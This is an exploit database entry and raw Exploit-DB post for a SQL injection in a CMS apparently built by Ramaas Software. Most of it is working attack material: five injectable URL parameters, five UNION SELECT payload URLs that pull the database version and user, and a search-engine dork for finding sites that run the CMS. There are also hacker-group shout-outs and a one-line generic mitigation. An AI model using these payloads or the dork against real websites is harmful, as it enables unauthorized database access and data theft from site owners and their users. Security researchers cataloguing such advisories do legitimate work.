Ramaas Software CMS SQL Injection Vulnerability

vendor:

CMS

by:

41.w4r10r

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache/Unix

2020

Ramaas Software CMS SQL Injection Vulnerability

This is a vulnerability in the Ramaas Software CMS, which allows attackers to inject malicious SQL code into vulnerable web applications. The vulnerable links are http://example.com/display_agents.php?id=243', http://example.com/view.php?articleid=14567', http://example.com/view_businessnews.php?articleid=7', http://example.com/view_article.php?articleid=12242', and http://example.com/article.php?articleid=111'. The exploit code is 'http://example.com/display_agents.php?id=-243+union+select+all+1,2,3,version(),5,user(),7,8--', 'http://example.com/view.php?articleid=-14567+union+select+all+1,2,3,version(),5,user(),7,8,9,10--', 'http://example.com/view_businessnews.php?articleid=-7+union+select+all+1,2,3,version(),user(),6,7,8,9--', 'http://example.com/view_article.php?articleid=-12242+union+select+all+1,2,3,version(),user(),6,7,8,9--', and 'http://example.com/article.php?articleid=-111+union+select+all+1,2,3,version(),5,user(),7,8,9,10,11--'.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks. Additionally, web applications should be configured to use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

# Exploit Title: Ramaas Software CMS SQL Injection Vulnerability
# Version: Web Application
# Tested on: Apcahe/Unix
# Dork : intext:"Powered by Ramaas Software"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################


This Is The CMS Created by The Leading WebDevelopment Company ramaas.com For
There Clients and all have same

vulnerability.....

Exploited Link :

1) http://example.com/display_agents.php?id=243'

2) http://example.com/view.php?articleid=14567'

3) http://example.com/view_businessnews.php?articleid=7'

4) http://example.com/view_article.php?articleid=12242'

5) http://example.com/article.php?articleid=111'


Demo :

1)
http://example.com/display_agents.php?id=-243+union+select+all+1,2,3,version(),5,user(),7,8--

2)
http://example.com/view.php?articleid=-14567+union+select+all+1,2,3,version(),5,user(),7,8,9,10--

3)
http://example.com/view_businessnews.php?articleid=-7+union+select+all+1,2,3,version(),user(),6,7,8,9--

4)
http://example.com/view_article.php?articleid=-12242+union+select+all+1,2,3,version(),user(),6,7,8,9--

5)
http://example.com/article.php?articleid=-111+union+select+all+1,2,3,version(),5,user(),7,8,9,10,11--



#41.w4r10r mailto:41.w4r10r@andhrahackers.com